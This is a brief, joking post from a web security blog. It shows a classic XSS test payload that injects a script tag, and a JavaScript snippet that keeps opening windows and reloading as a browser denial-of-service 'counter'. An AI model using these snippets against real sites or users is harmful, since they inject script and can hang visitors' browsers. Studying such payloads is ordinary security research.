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    The Spanner
    Web security blog

    Made by Gareth Heyes
    Follow me on Twitter: @garethheyes

    Javascript for hackers!

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    WebFu crouching tab hidden dos

    By Gareth Heyes (@hackvertor)

    Published 18 years 6 months ago • Last updated March 22, 2025 • ⏱️ < 1 min read

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    [Blocked Image]

    Hello my student here I'll show you the way of the tiger, if a deadly Firefox ninja approaches your dojo with a XSS punch:-

    <pre lang="javascript"> &quot;&gt;&lt;script&gt;alert(/XSS PUNCH!/)&lt;/script&gt; </pre>

    Then you can respond with the crouching tab hidden dos move:-

    <pre lang="javascript"> self.location = "javascript:window.open('javascript:document.clear(); document.open();document.close();self.location=self.location')"; </pre>

    This move can frustrate your opponent into submission.

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